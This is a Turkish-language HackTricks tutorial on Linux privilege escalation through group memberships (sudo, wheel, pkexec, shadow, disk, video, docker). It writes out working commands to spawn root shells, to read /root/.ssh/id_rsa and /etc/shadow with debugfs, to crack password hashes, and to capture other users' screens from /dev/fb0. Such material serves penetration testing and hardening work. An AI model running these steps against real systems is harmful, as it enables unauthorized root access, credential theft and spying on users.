8.1 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Sudo/Admin Grupları
PE - Yöntem 1
Bazen, varsayılan olarak (ya da bazı yazılımlar bunu gerektirdiği için) /etc/sudoers dosyası içinde bu satırlardan bazılarını bulabilirsiniz:
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
Bu, sudo veya admin grubuna ait olan herhangi bir kullanıcının sudo olarak her şeyi çalıştırabileceği anlamına gelir.
Eğer durum böyleyse, root olmak için sadece şunu çalıştırabilirsiniz:
sudo su
PE - Yöntem 2
Tüm suid ikili dosyalarını bulun ve Pkexec ikili dosyasının olup olmadığını kontrol edin:
find / -perm -4000 2>/dev/null
Eğer pkexec ikili dosyasının SUID ikili dosyası olduğunu ve sudo veya admin grubuna ait olduğunuzu bulursanız, muhtemelen pkexec kullanarak ikili dosyaları sudo olarak çalıştırabilirsiniz. İçeriği kontrol edin:
cat /etc/polkit-1/localauthority.conf.d/*
Orada hangi grupların pkexec çalıştırmasına izin verildiğini ve bazı Linux sistemlerinde varsayılan olarak sudo veya admin gibi grupların görünebileceğini bulacaksınız.
root olmak için şunu çalıştırabilirsiniz:
pkexec "/bin/sh" #You will be prompted for your user password
Eğer pkexec komutunu çalıştırmaya çalışırsanız ve bu hata ile karşılaşırsanız:
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
İzinleriniz olmadığı için değil, GUI olmadan bağlı olmadığınız için. Bu sorun için bir çözüm burada: https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903. 2 farklı ssh oturumuna ihtiyacınız var:
{% code title="session1" %}
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
{% endcode %}
{% code title="session2" %}
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
{% endcode %}
Wheel Grubu
Bazen, varsayılan olarak /etc/sudoers dosyası içinde bu satırı bulabilirsiniz:
%wheel ALL=(ALL:ALL) ALL
Bu, wheel grubuna ait olan herhangi bir kullanıcının sudo olarak her şeyi çalıştırabileceği anlamına gelir.
Eğer durum böyleyse, root olmak için sadece şunu çalıştırabilirsiniz:
sudo su
Shadow Grubu
shadow grubundaki kullanıcılar /etc/shadow dosyasını okuyabilir:
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
So, read the file and try to crack some hashes.
Disk Group
Bu ayrıcalık neredeyse root erişimi ile eşdeğerdir çünkü makinenin içindeki tüm verilere erişebilirsiniz.
Dosyalar:/dev/sd[a-z][1-9]
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
Not edin ki debugfs kullanarak dosya yazabilirsiniz. Örneğin, /tmp/asd1.txt
dosyasını /tmp/asd2.txt
dosyasına kopyalamak için şunu yapabilirsiniz:
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
Ancak, eğer root tarafından sahip olunan dosyaları yazmaya çalışırsanız örneğin `/etc/shadow` veya `/etc/passwd`
"İzin reddedildi" hatası alırsınız.
Video Grubu
w
komutunu kullanarak sistemde kimin oturum açtığını bulabilirsiniz ve aşağıdaki gibi bir çıktı gösterecektir:
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
tty1, kullanıcının yossi'nin makinedeki bir terminale fiziksel olarak giriş yaptığını gösterir.
video grubu, ekran çıktısını görüntüleme erişimine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunu yapmak için, ekranın şu anki görüntüsünü ham veri olarak almanız ve ekranın kullandığı çözünürlüğü öğrenmeniz gerekir. Ekran verileri /dev/fb0
'da saklanabilir ve bu ekranın çözünürlüğünü /sys/class/graphics/fb0/virtual_size
'da bulabilirsiniz.
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
Ham görüntüyü açmak için GIMP kullanabilir, screen.raw
dosyasını seçebilir ve dosya türü olarak Ham görüntü verisi seçebilirsiniz:
Ardından, Genişlik ve Yükseklik değerlerini ekranda kullanılanlarla değiştirin ve farklı Görüntü Türlerini kontrol edin ve ekranı daha iyi göstereni seçin
:
Root Grubu
Görünüşe göre varsayılan olarak root grubunun üyeleri, bazı hizmet yapılandırma dosyalarını veya bazı kütüphane dosyalarını veya ayrıcalıkları artırmak için kullanılabilecek diğer ilginç şeyleri değiştirme erişimine sahip olabilir...
Root üyelerinin hangi dosyaları değiştirebileceğini kontrol edin:
find / -group root -perm -g=w 2>/dev/null
Docker Grubu
Ana makinenin kök dosya sistemini bir örneğin hacmine monte edebilirsiniz, böylece örnek başladığında hemen o hacme chroot
yükler. Bu, makinede size kök erişimi sağlar.
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
lxc/lxd Grubu
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.